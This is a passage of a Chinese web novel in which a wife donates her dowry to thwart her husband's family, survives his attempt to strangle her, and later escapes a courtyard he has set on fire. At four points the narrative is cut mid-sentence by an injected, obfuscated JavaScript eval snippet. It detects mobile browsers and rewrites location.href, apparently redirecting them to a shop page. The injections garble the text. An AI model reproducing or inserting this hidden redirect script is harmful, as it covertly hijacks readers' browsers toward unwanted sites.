卫婕楚瞧见箱子里头的一堆钗饰,心疼不已,上前抓起自己最满意的几副耳环,“这,这些都是我的东西,你们,你们胆大包天!”她转向谢纲,眼神里尽是哀求,“大人,这些可都是你送我的物什。” 送她的东西,怎可收回? 可这些东西,实打实地都是崔氏的嫁妆,谢纲没想到自己曾经的借花献佛,到头来都成了一场笑话。 他只好温声道:“既然是嫁妆单子上的东西,便让他们带走吧。” 知晴一听谢纲允了,忙对着后头招手,“快,往外抬吧,宫里马上来人,咱们别给耽误了。” 一箱一箱的东西自清霞居抬出来,有钗饰,有布匹,有被子,有褥子,有桌子,有椅子,甚至,还有床板…… 卫婕楚对着空荡荡的屋子和院落,整个人快要疯掉了。 “这,这床锦被也在嫁妆单子上?” “在。” “这床板也是?” “正是。” “这镜子,”问到最后,卫婕楚嘴唇都开始哆嗦,“也是?” 知晴有条不紊,“卫姑娘,我们搬走的这些,都是朝廷之物。” 你就别想美事了。 卫婕楚目光呆滞,瘫坐地上。 知晴瞧着几近被搬空的屋子,拍拍手掌,“差不多了。”回头瞥眼神情恍惚的卫婕楚,她虽神情哀怨跟死了爹娘似的,但她头上的钗饰却依然闪耀着夺目的光芒。 知晴上前。 卫婕楚眼里迸出恨意,“你还要如何?” 知晴盈盈一笑,她指指卫婕楚的头上、腕上,“卫姑娘,您戴的头面、玉镯,都是朝廷的东西。私藏朝廷重物可是重罪。奴婢万不能让您铸下大错。” 她双手一摊,“是卫姑娘自己动手,还是奴婢代劳?” 卫婕楚双手护头,神色戒备,“这,这也是?” 她刚稀罕了一阵,还没机会戴上街招摇呢,这就得被要走了? “是,”知晴声音温柔,“这两样加起来,怕得是上万两呢。” 嘴上温柔,手下却是半丝没留情面。 她直接上手,动作粗暴地自卫婕楚头上取下钗饰。 拽下一缕头发也不管不顾。 把头面递给旁边的丫头,她转头去撸卫婕楚腕上的玉镯。 卫婕楚疼得龇牙咧嘴,“你,你大胆。” “卫姑娘,宫里马上来人,咱们不能耽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996381|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误不是?若是耽误了,皇上问责,你我能担待得起?奴婢都是为您好,您就配合一下吧。您现在不配合,传到皇上耳朵里,那可就是扣下朝廷重物的大罪。” 连吓唬带威胁,知晴三下五除二取下玉镯,指挥众人,浩浩荡荡走了。 等屋内只剩下她和谢纲,她望着空空如也的屋子,委屈得嚎啕大哭。 谢纲眼睛眯缝着。 愤怒、不甘。 充盈了整个胸腔。 搬完了卫婕楚这里,知晴又带人分别去了谢宛宛和老夫人的院子,最后才去的谢纲院子。 谢宛宛瞧着众人搬动自己的心爱之物,气得直跺脚。 嘴里不停咒骂着。 “崔氏这个混账东西,难怪那天她非要跟太子殿下单独说话。我以为她只会胡言乱语,没想到她竟然以捐嫁妆为由攀附上太子殿下,其心可诛,其心可诛啊。” 再生气再焦急,也挡不住下人们抬东西的劲头。 她眼睁睁看着自己喜欢的物什消失。 知晴赶去老夫人房里时,老夫人刚醒,正气呼呼地躺在榻上。 知晴先礼后兵。 进屋后,几人恭恭敬敬跪成一排。 “老夫人,奴婢来取朝廷之物。” 这都搬出朝廷了,老夫人还能说什么? 再心不甘再情不愿。 但心里明白,事已成定局。改变不了。 老夫人懒怠地摆手:“拿吧,拿吧。” 不让拿也不好使啊。 下人们翻翻找找地忙活开了。 等人都走了之后,老夫人气火攻心,再次晕了过去。 最后一程,知晴带人去了谢纲院子。 谢纲早料到人会来,已经把身上的佩剑和腰饰之类的取下,归置到一处。 他这里东西不多。 但仅有的几样,却都价值连城。 当初崔晚柠满心满眼都是他,小到扳指,大到佩剑、甲胄,都是最好的。 放眼整个京城,谢纲身上的佩饰,怕是只有皇宫里的皇上与太子可以与他相比。 他的刀是金刀,削铁如泥,锋利无比,刀柄到刀鞘都是黄金。是他用过最趁手的兵器,他在战场上屡获胜利,它功不可没。 护身软甲,造价高昂,他几次中刀,都是此软甲保下他一命。 甲胄、扳指、靴子,以及贴身用的匕首,都是贵重无比的。 现如今这些,都必须乖乖归还出去。 这些曾经见证了崔氏满腔爱意的物什,都将归为朝廷所有。 谢纲如此配合,知晴省事不少,她照着嫁妆单子细细核对,“谢大人,如此,东西全齐了。” 谢纲眸色淡漠,眼睛直勾勾地盯着下人们将他曾经的心爱之物搬走。 知晴命人将东西抬到了院子当中。 这么一折腾,天已经黑了。 安成带人赶来。 一百多抬嫁妆,陆陆续续被抬出了侯府。 当东西全部抬完,竹雪提了一个食盒过来。 “我们夫人做了一些糖饼,安公公辛苦半天,垫垫肚子。” 顺便将另一只手里备好的金子塞进安成的袖子里。 搬抬嫁妆这事儿,是公务,谢夫人给点儿赏赐,也没什么不可以。 安成开开心心接了金子和食盒。 “替我谢过你家夫人。” 16. 第 16 章 夜幕低垂,喧嚣了一天的侯府陷入安静当中。 竹雪回到秋闲居,崔朝雪正和秦叔坐在桌旁,两人表情都是前所未有的轻松。 竹雪福了福身子,“夫人,安公公已经走了。” “我交待你的话儿呢?” “奴婢也跟安公公说了,安公公说回去一定禀报给太子殿下。” 崔朝雪颔首:“那就好。” 秦叔:“现在这偌大侯府,除了夫人这里的一些基本生活用品,其他地方已无崔家嫁妆行踪。” “如此,侯府上下再不用惦记了。” 说到底,侯府就是为了这些嫁妆,才娶了崔晚柠,又是因了这些嫁妆,宁愿养外室,也不和离。生生等到现在,崔家父母双亡,他们不知崔家有双生女之事,是以起了休妻昧下嫁妆的念头。 都是钱财害的。 知晴扑哧笑出声。 大家伙都望向她。 知晴不好意思地以手掩唇,“奴婢就在想啊,清霞居里近乎搬空了,连个床板也没留,不知道卫姑娘今晚怎么睡。” 要还睡清霞居的话,就只能打地铺,还得是没有被褥光溜打那种。 知晴和竹雪想到这一层,忍不住又笑了。 崔朝雪轻哼了声,“都是她咎由自取。” 卫婕楚上个月才搬进府里,谢纲图省事,一应事物都是用的崔家的嫁妆。当时有多省事,现如今就有多凄楚。 崔朝雪道:“秦叔,为绝后患,嫁妆单子上的店铺和地契,一并捐了。赶明儿你去各处看看,若是有些伙计被宫里人给辞了。你便帮忙将他们安置下。若是他们愿意,也可回隆县。崔家产业众多,他们毕竟是为崔家效过力的,不能寒了他们的心。 崔朝雪处事周全,秦叔很是赞同,“这些琐事,夫人交给我便可。我定事必躬亲,处理周全。” 没了崔父崔母,秦叔顶起了崔家半边天。 崔朝雪挥退下人,单独问秦叔:“那绝嗣药,可有眉目?” 她不死心,让秦叔去打听,可否有解药。 秦叔垂头丧气,“夫人,无解。” 他早说过了,哪怕菩萨显灵,也无济于事。 崔朝雪表情沉重。 右手慢慢抚向小腹处,“这孩子,无论如何也要生下来。” “是啊,”秦叔现在是后悔莫及的,“早知道可以找到太子殿下当靠山,根本不必大费周章怀孕的。” 有了靠山,孕事变得不那么重要。 崔朝雪也不无遗憾,“谁能料及呢。” 谁也没长前后眼,若是能料及现在,她当初万不会去考虑怀孕之事。 只一门心思想着,侯府因着无孕休妻,她非要怀上孕,让一直给姐姐下毒药的谢纲大吃一惊。 目的达到了。 只是这岔子出得太大了。 绝了未来天子的子孙后代。 “谢纲现在无利可图,加之夫人又怀了孕,事情完全背离了他的初衷,他心中肯定是恨意滔天的。”秦叔道,“我已将京城内所有崔家的随从召集出来,凡七、凡九在侯府听命,其他人等则在附近。如有需要,他们会马上听命现身。” 崔家有钱,所以招募来的随从也都非等闲之辈。 为防谢纲狗急跳墙,得有所准备才行。 “谢纲囚禁我不成,眼见到手的钱财也飞了,肯定是恨我的。不过,我刚被皇上封为诰命夫人,他再急,也不会在近几天内下手。” “想来,我还能过几天安生日子。” “万事不可掉以轻心。” 清霞居里,被卸了珠钗玉翠的卫婕楚,披头散发地坐在地上。 房间里空荡荡的,无桌无椅无床。 用家徒四壁来形容最为贴切。 小荷噤若寒蝉地跪在她旁边,想劝几句,可又无从劝起。 其余丫头都躲到了院子里。 大气不敢喘。 这位卫姑娘太惨了。 怀着孕。 屋里屋外被人抬了个干净。 这知道的,是归还了侯夫人的嫁妆。 不知道的,还以为被洗劫了。 身上钗饰都被洗劫一空。 真可谓是素面朝天。 卫婕楚哭得眼泪鼻涕糊了一脸,半丝娇柔的样子也没有。 就跟市井泼妇差不多。 看她哭累了,小荷小心翼翼上前,用手里的面巾为其擦拭脸上的脏痕,“卫姑娘放宽心,将军很快会送来新的物什。” 她说这话时底气不足,她听丫头们说将军房间也被搬走了不少东西,小姐和老夫人房里更是,虽然比之清霞居要好些,但也好不到哪里去。 离了侯夫人的嫁妆,侯府几乎变成了一个空壳子。 卫婕楚眼神怨毒,她一字一顿道:“我要洗脸。” 她得洗干净了,去找谢纲。 她唯有依附他,才能得到自己想要的。 他好歹是侯府世子,四品将军,能给予她荣耀和尊宠。 卫婕楚洗脸后,将头发梳理顺滑,迈着柔弱无力的步伐去了谢纲院子。 谢纲院子本就空旷,是以看起来和以往没有什么不同。 她进去的时候,谢纲正坐在那里,眼睛瞧着某个方向愣神。 她走近,柔柔唤了声:“谢郎。” 谢纲回神,恍觉自己枯坐了很久。 卫婕楚无语泪先流,猛地扑进他的怀里,肩头一耸一耸,“谢郎,清霞居,空了。” 谢纲岂能不知? 他揽紧她,“你先在我这里将就一晚,明日我便派人去给你置办。” 得到男人的承诺,卫婕楚的嘴角不自觉翘起来。 只要还有男人的怜爱,就一切还有希望。 天刚亮,崔朝雪便起了,收拾齐整后进了宫。 很意外地,安公公竟然在东宫门口等她。 “谢夫人,太子殿下在书房,奴才这就带你过去。” 崔朝雪受宠若惊,“殿下同意见我?” 安成笑得见牙不见眼,“谢夫人有大功劳,殿下怎会不同意见您?” 走到书房门口,安成轻轻敲了两下门,对着门里提醒道:“殿下,谢夫人到了。” 门里传来一声沉稳有力的“进”,安成推开门,待崔朝雪进去后,又贴心地将门关上,人则乖觉地侯到一旁。 书房靠墙一面全是厚重的书籍,正中央是一张暗色的大方桌,胥宸站在桌前,正右 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019731|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手提笔,挥毫泼墨。 最后一笔落下,他轻轻放下笔,缓缓抬头。 崔朝雪已经跪了一会儿,听到声响,“臣妇见过太子殿下。” “一百万两银子已经入了国库,你的嫁妆,”太子顿了下,“经与父皇商议,全部留在了太子府。” 自古有捐嫁妆这一说。 可崔朝雪已经捐了百万两银子在先,皇上对她的申明大义大加赞赏,至于嫁妆,索□□由胥宸来处理。 他看重胥宸,信任胥宸。 以后的万里江山,也必定是要交付到他手上的。 “臣妇既已捐出,一切由殿下做主。臣妇此来,是感谢殿下的庇护。” 能在千钧一发之际赶到宣读圣旨,胥宸有心了。 毕竟他只是太子,并不是皇上。 圣旨一事,还得他与皇上商谈。 “你捐献的银两,解战事之急,孤感谢你才是。” 胥宸眼神淡淡扫过她的脸。 “谢夫人可还有什么为难之事?” 他让安成打听过了,那个谢纲的确是厚颜无耻,真就花着崔氏的嫁妆理所当然地养着外室,安成还提及他到首饰店强要簪子一事。 安成描述时绘声绘色,“谢将军大喇喇,当央一坐,大言不惭说等夫人来。周围人都笑话他,他充耳不闻的。左等右等,等到天黑也没等到夫人。他气急败坏让店主等着,他亲自回去请夫人。有好事者真就在店里等着,可等到店铺关门也没见到谢将军人影。” “殿下是不知道,谢将军那脸啊,丢了满京城。现在街头巷尾都在传这事呢。谁听谁乐。” 这样的谢纲,的确不堪。胥宸听闻谢家老夫人请了族里的诸位长辈,要行休妻之事。结果没成。 所以他才有此一问。 嫁妆捐了,谢纲休妻不成,定会生事的。 崔朝雪毫不含糊,朝着胥宸重重磕了三个响头,胥宸站在桌前,淡淡看着。 崔朝雪这头磕得实在,磕完抬头,额边一圈都泛了红,她郑重其事地说道:“殿下,谢纲为人不齿,不知会使出什么下三滥的招数。还请殿下派几个人手,贴身保护臣妇。” 胥宸眉锋一挑,“你要人?” “是,殿下身边肯定都是武功高强之流,谢纲再听闻是从太子府出来的,定会忌惮几分。” 她现在怀有身孕,想要和离,是有一定难度的。 已经让太子帮忙捐出了嫁妆,不可能再让其操心自己和离之事。 在本朝,有孕女子是很难和离的。 怀了夫家的孩子,怎能随意离开? 要想和离,也必得孩子呱呱坠地之后才能商量。 胥宸默了一瞬,“好。” 几个人而已。 小事。 崔朝雪回去的时候,身后多了四名穿着黑色锦袍的女子,个个英姿飒爽、威风八面。? 刚进侯府大门,早等在门口的知晴便上前禀报:“夫人,老夫人等你许久了。” 崔朝雪朝身后四名女子轻声吩咐:“阿姹、阿紫、阿嫣跟着竹雪回秋闲居,阿红随我去见老夫人。” 晴天白日的,老夫人不会拿自己怎么样,不需要姹紫嫣红四大护卫全跟着。 17. 第 17 章 祥瑞居里。 谢家人整整齐齐,全都在。 就连一向在清霞居躲清闲的卫婕楚也在。 崔朝雪虽有点儿惊讶,但也不算意外。 自己捐嫁妆这事儿,对于谢家人来说就是天大的打击。 到了休妻也无利可图的地步。 不知道凑一起商量之后是不是想出了什么新的幺蛾子。 她不疾不徐地走进去。 往当央一站,目光淡淡扫视众人。 等着他们开口。 坐在轮椅里的老夫人等不来崔朝雪的问侯声,很难得地没有生气,她问道:“崔氏,你父母之前不是双双意外而亡,是不是得抽个时间,让谢纲陪你回隆县一趟?” 崔朝雪眼里迸出一丝冷意。 谢家人,真是毫无人性可言。 眼见嫁妆没戏,竟把主意打到了崔家家产上头。 谢纲很难得地声音温和地说道:“你是崔家独女,你父母去了以后,崔家所有的担子都将落到你的肩上。前些日子朝廷里事务繁杂,我现在终于得空,明日便陪你一同返家,处理家事吧。” 谢家人不知道崔家双生女之事,只以为崔氏是独女。 这是打算去隆县搜刮点儿回来。 崔朝雪冷然道:“有秦叔出面,隆县事宜皆已处理完毕。崔家财产多数已捐给朝廷,用于前线将士。我现在孑然一身,不需要谢将军分心照顾。” 她眼神扫向小鸟依人般站在他旁侧的卫婕楚,“卫姑娘身子重要,还是多照顾照顾她吧。” “什么?”老夫人吃惊,“崔家财产也捐了?” 崔朝雪点头:“是。” 老夫人气得翻了翻眼珠子,“ 谢宛宛生气:“你什么都捐了,以后母亲的汤药怎么办?我的吃食和衣饰钗饰呢?” 她之前天天要喝的燕窝,今天早上便断了顿。 她都喝习惯了,乍然断掉,非常的不习惯。 “之前你们不都嫌弃我么?”崔朝雪铿锵有力,“既然嫌弃我的人,要连同我的钱财一同嫌弃才行。以后府里的一应事务我都不再负责。早上,我已经差人把库房钥匙和府里的账本全送给了母亲。想必母亲也早已收到。以后,这府里要如何,一切皆由母亲做主。” “母亲想让谁当家做主便让谁当家做主。将军若是怕委屈了卫姑娘,痛快休了我便是。我绝不阻碍二位。至于母亲的汤药、妹妹的衣饰钗饰,还有将军的各种物什,我无能为力。” 霸气说完,崔朝雪便转身回了秋闲居。 刚回去,知晴便迎上前,“夫人,谢家人太不要脸了。” 崔朝雪慢慢坐下,接过竹雪递过来的甜汤,心慢意足地喝了口,这才问道:“出什么事情了?” “夫人走后,厨娘来报,说是为您准备的各种补品被老夫人屋里的丫头来偷偷拿走了,给您准备的滋补中药则被卫姑娘身边的小荷偷拿了去。将军身边的小厮则来取走了一坛子酒。” “一个个穷疯了,全跑来咱们院子偷摸抢拿的。”竹雪忿忿不平,“夫人放心,秦叔已经派人守好大门,保准从现在起,他们什么也拿不走。” 崔朝雪慢慢又喝了几口甜汤,甜浓溢满口腔,她像小狐狸似地满意地眯了眯眼,淡淡吐出两个字,“不用。” 知晴和竹雪:“……” 自家小姐的脑壳是怎么了?费尽心机把嫁妆捐走,为的就是不让谢家人占便宜,这怎么还允许他们偷吃偷拿了? 崔朝雪莞尔一笑,“你们记住,他们明着来拿,绝对不给。但是偷着来拿呢,你们就权当看不见,尽管让他们拿好了。”她抿唇,“不过,得给那些东西里加点儿料才成。” 她的便宜可不是那么好占的。 竹雪、知晴露出惊讶的表情,良久都嘿嘿乐了:“夫人实在是高。” 入夜,小荷鬼鬼祟祟地自秋闲居的厨房里搬出了一坛子酒和一些点心,小心拿着,回了谢纲的院子。 轻轻推开门,她献宝似地捧到卫婕楚跟前。 “卫姑娘,我刚去秋闲居拿的。这些点心是夫人要吃的,这是上好的陈年老酒,听闻是崔家特有的,当初搬进府里,为的就是给将军喝。原本放了几坛子在将军屋里,昨儿个全被安公公给搬走了。” 卫婕楚怀着孕,正是贪食的时候,抓起一块点心就往嘴里送。 点心又甜又酥,很合她的口味。 不知不觉,她吃下了四五块。 肠胃得到满足,她这才回过神,“不说这些酒是嫁妆单子里的吗,怎么还留下了几坛?” “听秋闲居的丫头们说,嫁妆单子上是有酒不假,但酒这东西是要入口的,属于吃食类。安公公说了,吃食类不搬。” “既然不搬,那为何要从将军屋里搬走?说来说去,还是这个崔氏恶毒,为了不让谢家人过得舒心,她竟能想出捐献嫁妆这种滑天下之大稽的法子。”她转而问道,“清霞居的东西买回来了吗?” 清霞居现在是个空壳子,得采买一大堆东西才能将其填满。 小荷垂下脑袋,“许是将军没空,今日清霞居并无新的物什。” 卫婕楚眼神黯淡。 “难不成谢府真是个空壳子,一切全靠崔氏的嫁妆?” 她总以为谢纲是四品将军,还是侯府世子,家底肯定丰厚,可进来后才发现,徒有名声罢了。 小荷哪知道谢府倒底是个什么情况,只能垂着头不应声。 行差踏错再招顿打,那就不划算了。 一碟子点心吃完,卫婕楚意犹未尽,她舔了舔唇边的屑子,问:“没了?” 失去崔氏的支持,谢府的厨子做出来的饭食实在是令她没胃口。 她这一天都食不下咽的。 好容易遇着合胃口的点心,却吃得不够尽兴。 小荷表情窘迫,“奴婢去的时候,就发现了这一碟子点心。” 这偷东西,不可能想偷啥偷啥,得人家有啥才能偷啥。 莫名地,卫婕楚湿了眼眶。 她抽咽了下。 “小荷,我这过得倒底是什么日子?我肚子里还怀着侯府的血脉,却连个正经住的地方都没有,吃口东西还得偷摸着。” 越想越可怜,卫婕楚哭得愈发伤心。 哭累了,人便扑到榻上睡着了。 谢纲是后半夜回来的。 其实在外头也没什么事情,可就是不想回来。 一进府,不是母亲的咒骂就是妹妹的埋怨,更令他怵头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044255|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是卫婕楚哭哭啼啼的样子。 府里没什么钱,还有两日才发俸禄。 一切事宜都等着发俸禄之后才能办。 这日子过得属实烦燥。 桌上有一坛子酒,他揭开盖子,仰脖。 咕咚咕咚。 一会儿便喝光了。 酒意上头,他醉醺醺地上了榻。 卫婕楚睡得本来就不踏实,谢纲刚一躺下她便醒了。 空了一天的心,一下子便找到了依靠。 她小心翼翼偎靠过去,委委屈屈地抽咽。 “谢郎,你答应楚儿的事情,办好了吗?” 谢纲轻轻握住柔软无骨的手,“先委屈你几日,我答应你的事情,会一一办到。” “真的?” “真的。” 谢纲为银钱烦忧,不愿谈这些事情,“楚儿,累了一天,快睡吧。” 卫婕楚,“楚儿不困。楚儿一想到崔氏那副得意洋洋的嘴脸,更睡不着。” 一听崔氏,谢纲愈加烦燥,“别提她。” “对,不提她这个贱人。”卫婕楚磨牙,“这个贱人可恨、可耻,应该被千刀万剐。” 说不提,她还是提了。 念念叨叨的都是对崔氏的滔天恨意。 她本来应该过舒心幸福的日子,因了崔氏,她现在连可口的饭食都吃不上。 谢纲默默听着。 猛地,他坐了起来。 披衣下榻。 卫婕楚愣愣地歪在榻上,盯着他的背影惊问:“谢郎,你这是?” 半宿半夜,不声不响。 跟闹了鬼似的。 谢纲闷声道:“杀了她。” 卫婕楚汗毛倒竖,哑了音。 秋闲居。 睡梦中,崔朝雪蓦然感觉到了一丝冷意。 很突然地睁开了眼睛。 一道黑沉的影子伫立在自己床榻前。 她心里一惊,猛地坐了起来。 借着柔和的月光,她瞧清楚了,眼前站立的不是旁人,正是那个她恨之入骨的谢纲。 她微仰头,漠然看向他:“有何事?” 谢纲满眼猩红,杀气凌然。 “崔氏,你该死!” 谢纲五指揸开,直向崔朝雪的颈子。 崔朝雪心下骇然。 他这是打算掐死她? 可他的五指还未靠近,一股强大的力道袭来,他身子踉跄着后退几步。 几道黑色的人影如从天降,站成一排。 将崔朝雪密密实实护了起来。 谢纲震惊:“你,你们,你们是谁?” 崔朝雪分开身前的两人,淡淡看向谢纲:“夫君,这四位分别是阿姹、阿紫、阿嫣、阿红,是太子殿下派来保护我的。” “——怎么可能?”谢纲不相信,“你是什么身份,太子殿下岂会派人保护你?” “我是四品诰命夫人啊,”崔朝雪像看笑话一样看着目瞪口呆的谢纲,再次强调,“我可是给朝廷捐出钱款的人,怎么就不值得殿下派人保护了?” “反倒是你,”崔朝雪眼神冰冷,“你堂堂四品将军,方才是打算将自己已怀有身孕的结发妻子杀了吗?” 18. 第 18 章 谢纲黑面而去。 竹雪和知晴冲到榻前,忧急万分的。 “夫人,您没事吧?” “您怀有身孕,刚才是否受到惊吓?让秦叔来为您诊脉吧?” 崔朝雪淡淡摇头:“我挺好的,不必惊扰秦叔。” 她心里早有准备。 只是不确定谢纲会在哪天动手罢了。 “幸亏夫人有所准备,”知晴心有余悸,“今晚幸亏有姹紫嫣红四位。” 否则还真是险上加险。 崔朝雪:“只怕谢家一计不成,还会再生一计。”她轻轻招手,“阿紫,你过来。” 阿紫附耳过来,崔朝雪如此这般地吩咐了一般,阿紫听罢,频频点头。 东宫 胥宸正坐在桌前批阅卷宗,安成敲敲门进来,手里提着一个食盒。 “殿下,谢夫人派人送来一些点心。” 他将东西一一摆放到胥宸面前。 精致好看的几样点心。 安成最后拿出一碗汤,“谢夫人说,殿下吃点心感到腻的话,可以喝口汤压压。” 胥宸盯着几样吃食,打量半天,轻轻捻起一块糕点送入口中,细嚼慢咽。 安成眼神殷切:“殿下,可合胃口?” 胥宸淡淡说道:“还,好。” 安成抿唇笑了。 殿下一向嘴刁,能说出“还好”两字,已是极大褒奖。 “殿下,边关频传捷报,皇上龙心大悦,荣丞相未能如愿,最近荣贵妃都收敛了许多。” 除了梁将军的功劳之外,谢夫人也是功不可没。 胥宸身体已然恢复,笔力遒劲、墨色饱满。 侯府风平浪静了几日,一直密切关注谢纲及其下人一举一动的阿紫,带回了新的消息。 “谢纲的贴身小厮买了许多的猛火油?”崔朝雪眉头紧蹙。 阿紫道:“是的。奴婢还隐约听到谢纲和小厮探讨这几日是否有雨。似乎是在敲定日子。” “想到谢纲心狠,没想到狠成这般模样。丝毫不顾及我有孕的身子,只一门心思想置我于死地。亲自杀我不成,改成烧咱们的院子。” 阿紫道:“那猛火油极其凶猛,一旦在院子周围淋上猛火油,点燃之后,瞬间便会火光冲天。若是在暗夜里行事,只怕难以逃生。” 半夜都睡得迷迷糊糊的,等反应过来火势已经到了不可控的地步。 怕是只有被烧死的份儿。 真是恶毒至极。 “厨房里的东西,他们都取走了吗?” 知晴道:“那几坛子酒都被小厮拿走,被谢将军给喝了。还有特意留出来的点心、汤药,统统被丫头们拿走,汤药被老夫人给喝了,点心则分别被卫姑娘和宛宛姑娘食用。” “好,这些东西都是他们偷拿过去的,不是我们硬给的,日后他们若是有什么事情,自是与我们没有关系。” 崔朝雪眼神泛冷,“离秋闲居不远不是有处闲置的院子吗?你们今夜去整理一下,咱们以后就白日里在秋闲居,晚上去那处院子歇息。” 不是要烧死自己吗?自己躲开不就好了? 十几天之后。 夜黑风高,秋闲居附近突然出现了十数名黑衣人,他们沿秋闲居四周洒下猛火油,洒完一圈之后,重新在秋闲居门口汇合,互相确认过之后,其中一人将早已准备好的火把往猛火油上一扔。 火光蹿起。 黑衣人迅速逃离。 有猛火油的加持,火势迅速漫延,极短的时间内,秋闲居便陷入一片火海当中。 火势凶猛。 熊熊的大火照得天地间一片红光。 谢纲与卫婕楚相拥着站在自己的院落当中,幸灾乐祸地瞧着远处的火光。 有小厮惊慌地冲进来。 “将军,不好了,不好了,秋闲居起火了!” 谢纲仿佛没听见,眼神还在盯着那片火光,嘴角露出一丝诡异的笑容。 卫婕楚偎在他的胸口,双手轻抚自己的小腹,语气不悦:“喊什么喊,将军有眼睛,自己会看。” 小厮慌得不行,闻言表情一怔。 看看谢纲、卫婕楚,再看眼远处漫天的火光。 惊得一句话说不出来。 没人下令救火,丫头、小厮便不敢上前。 秋闲居大火整整燃了一夜,到天亮才慢慢熄了。 一切烧尽。 秋闲居成为了一片废墟。 谢纲和卫婕楚好好睡了一觉,神清气爽地醒来。 卫婕楚喜滋滋地帮谢纲穿衣。 “都是崔氏咎由自取,被烧死,是她活该。” “她命该如此。” 谢纲一派神清气爽,轻扶卫婕楚的肩,“走,我们一起去看看。” 他迫不及待想要看看自己的战果。 两人迈出院子时,脸上表情都是大仇得报的那种愉悦。 近些日子,谢纲被崔朝雪气到不行,胸口像是被一块巨石压着,搬不开挪不动,喘不上气,使不出力。 甭提多憋屈了。 一把火解决了所有的麻烦。 卫婕楚已经开始做起了春秋大梦。 “将军,清霞居的东西一直没有采买。崔氏出事之后,我们是不是可以派人去隆县,将其名下的东西都取回来?” 抢不成嫁妆,抢家产。 他们有的是法子。 “崔家是隆县有名的大户,崔氏生死都是谢家夫。崔家无人,崔家财产只能勉为其难让我这个崔家婿接收了。” 崔家后继无人,谢纲成了唯一能扯上关联之人。 他继承财产,能说得过去。 一想到大把大把的钱财马上要收入囊中,谢纲和卫婕楚春风满面,喜不自胜的。 站到秋闲居门口,卫婕楚伸手在鼻前扇了扇,嫌弃地说道:“什么腌臜味道,难闻死了。” “还愣着干什么,还不快进去救人!” 谢纲一声令下,小厮们赶紧冲了进去。 蹲到焦黑的灰烬跟前不停翻找。 这个时候,哪里是救人,顶多是在灰烬里翻找尸骨罢了。 小荷被眼前场景吓得瑟瑟发抖。 好好的秋闲居化为灰烬。 里头的人无一人逃出来。 得是多可怕? 空气中弥漫着难闻的气味,怕是,怕是死人身上散发出来的吧? 卫婕楚拿起帕子,轻掩鼻口,“将军,被烧死的滋味,怕是不好受吧?” “岂止是不好受,”谢纲声音冷漠,“只怕是生不如死吧。” 卫婕楚幸灾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068072|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐祸,“嗯,被人用刀捅死,疼,就是一眨眼的功夫。可被烧死,从头至尾人都是清醒的,的确是不好受。” 她唇角翘着,想到崔氏在火海里痛不欲生的画面,她心情莫名地高兴。 崔氏早痛痛快快地答应娶平妻,哪会被烧死? 她自不量力,妄想鸡蛋碰石头。 纯粹是自寻死路。 两人聊起别人的生死就跟聊家常一样。 浑不当一回事。 只把小荷听得心里一颤一颤的。 老夫人身边的嬷嬷惊慌失措地跑过来,边跑边口齿不清地喊着:“老,老,老夫人,不见了!” 谢纲闻言蹙了眉头,扭身看向慌不择路的嬷嬷:“慌什么慌,老夫人不是在祥瑞居吗?” 卫婕楚:“就是,老夫人行动不便能去哪里?自然是待在祥瑞居。你不去祥瑞居找,往这里瞎跑什么。” 断了上好的药汤,老夫人身子一日不如一日,之前还能勉强走两步,这几天却是双腿软绵绵的,支棱不起来。 别说走路,连站都困难。 这样的老夫人能上哪里去? 嬷嬷双腿一软跪在谢纲跟前,“将,将军,昨晚老夫人身子不舒服,差老奴找夫人过去。可夫人说身子不适不便前往。老夫人气极,便让老奴推着她来了秋闲居。来的时候,院子里没人。想起祥瑞居里还炖着汤,老夫人便让老奴回去了。” 她结结巴巴,“老奴炖汤的时候,贪了几杯。就,就,就忘了老夫人还在秋闲居的事情……” 原本还面色平静的谢纲,表情出现龟裂的痕迹,他双目狰狞,“你说什么?” 嬷嬷被他这一吓,直接瘫到地上,浑身抖成筛糠,“老夫人,老夫人……” 直接嚎开了。 